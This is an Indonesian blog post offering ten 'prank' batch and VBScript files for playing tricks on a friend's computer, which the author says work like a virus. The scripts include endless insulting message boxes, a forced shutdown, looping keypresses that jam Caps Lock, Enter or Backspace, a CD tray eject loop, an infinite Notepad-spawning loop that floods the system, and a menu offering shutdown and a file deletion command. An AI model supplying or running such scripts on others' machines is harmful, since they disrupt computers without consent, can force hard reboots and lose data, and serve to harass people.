Kumpulan Script Iseng enterdie enterdie 0 Monday, July 11, 2011

Filename	Kumpulan Script Iseng
Permission	DienarRobusta
Author	enterdie
Date and Time	Monday, July 11, 2011
Label
Action

Buat iseng-iseng saja. Kali ini saya akan berbagi cara jailin komputer temen kamu atau malah komputer kamu sendiri...hehe

Sebenernya ini bukan virus tapi cara kerjanya kayak virus. Cara menuliskannya gampang seumpama kamu mau nyoba yang nomer 2 dibawah, maka copy seluruh script nomer 2 dan paste didalam notepat. Pada saat menyimpan script-nya maka pilih file-save as--pada kolom nama berkasnya silahkan diisi dan pada akhir nama diberi extensi sesuai dengan perintahnya misalkan ".bat" dan pada pilihan save as dipilih all files. Contohnya dapat dilihat pada gambar dibawah ini :  

1. Cara bikin Virus Dengan Notepad
@ECHO off
:Begin
msg * Cakadidi Beraksi
msg * Muke lo jelek - ngaca dulu gih
msg * hayo lo,CPU lo gw acak-acak
msg * udaaaaaaahhhhhhh install ulang aja
msg * biar masalah nya kelar
GOTO BEGIN

save namafile.BAT (ekstensi filenya harus .BAT) Simpan dalam notepad.

2. Cara membuat shutdown+message
Code:
[i]@echo off
msg * apaan sih lo
shutdown -s -c “Error! muka mu standar abis”
save namafile.BAT (ekstensi filenya harus .BAT) Simpan dalam notepad.

3. Cara Mainin Caps Lock button
Code:
[i]Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop

save namafile.vbs[/i] (save dengan Ekstensi file .vbs) simpan dalam notepad.

4. Cara buka tutup CD/DVD
Code:
Set oWMP = CreateObject(“WMPlayer.OCX.7?)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

save namafile.vbs[/i] (save dengan Ekstensi file .vbs) simpan dalam notepad.

5. Cara bikin vbscript nongol mulu
Code:
[i]Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop

save namafile.vbs ket:di task manager full wscript yg lg running [/i]

6. Cara bikin teken tombol backspace melulu

Code:

[i]MsgBox “kembali ke menu sebelumnya”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop

save namafile.vbs [/i] simpan di dalam notepad.

7. Cara bikin otomatis ngetik “lu jelek banget sih” di notepad/word
Code:
[i]Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “lo jelek banget sie!!!”
loop

save namafile.vbs simpan di dalam notepad

8. Cara bikinbuka notepad trus menerus
Code:
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
save namafile.BAT
ket:termasuk yang ngeselin banget nih
bisa di ganti,terserah mau buka cmd ato buka yg lain..ganti aja dir nya.
[/i]

9. Cara bikin otomatis buka notepad lalu ngetik apa yg lo mau

Code:
[i]WScript.Sleep 1800
WScript.Sleep 100
Set WshShell = WScript.CreateObject(“WScript.Shell”)
WshShell.Run “notepad”
WScript.Sleep 10
WshShell.AppActivate “Notepad”
WScript.Sleep 50
WshShell.SendKeys “ka”
WScript.Sleep 50
WshShell.SendKeys “mu “
WScript.Sleep 50
WshShell.SendKeys “je”
WScript.Sleep 50
WshShell.SendKeys “le”
WScript.Sleep 50
WshShell.SendKeys “k “
WScript.Sleep 50
WshShell.SendKeys ” se”
WScript.Sleep 50
WshShell.SendKeys “ka”
WScript.Sleep 50
WshShell.SendKeys “li”
WScript.Sleep 50
WshShell.SendKeys ” y”
WScript.Sleep 50
WshShell.SendKeys “a”
WScript.Sleep 50
WshShell.SendKeys ” h”
WScript.Sleep 50
WshShell.SendKeys “!”
WScript.Sleep 50
WshShell.SendKeys “!! “
save namafile.vbs
ket:
ini salah satu script favorit gw…
[/i][i]10.@echo off
title quiz hari ini

:menu
cls
echo jika kamu kena virus apa yang kamu lakukan
pause
echo pilih yang mana:
echo 1. matiin komputer
echo 2. format komputer
echo 3. bingung ahh
set input=nothing
set /p input=Choice:
if %input%==1 shutdown -s -t 30
if %input%==2 del c:\xxx
if %input%==3 @ECHO off
msg * muka lo jelek
msg * ngaca dulu sono
msg * hayo lo,CPU lo gw acak-acak
msg * udah siee install ulang aja
msg * biar masalahnya kelar
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top[/i] 

>>>>Selamat Mencoba..Mohon maaf jika ada kesalahan, hanya share aja..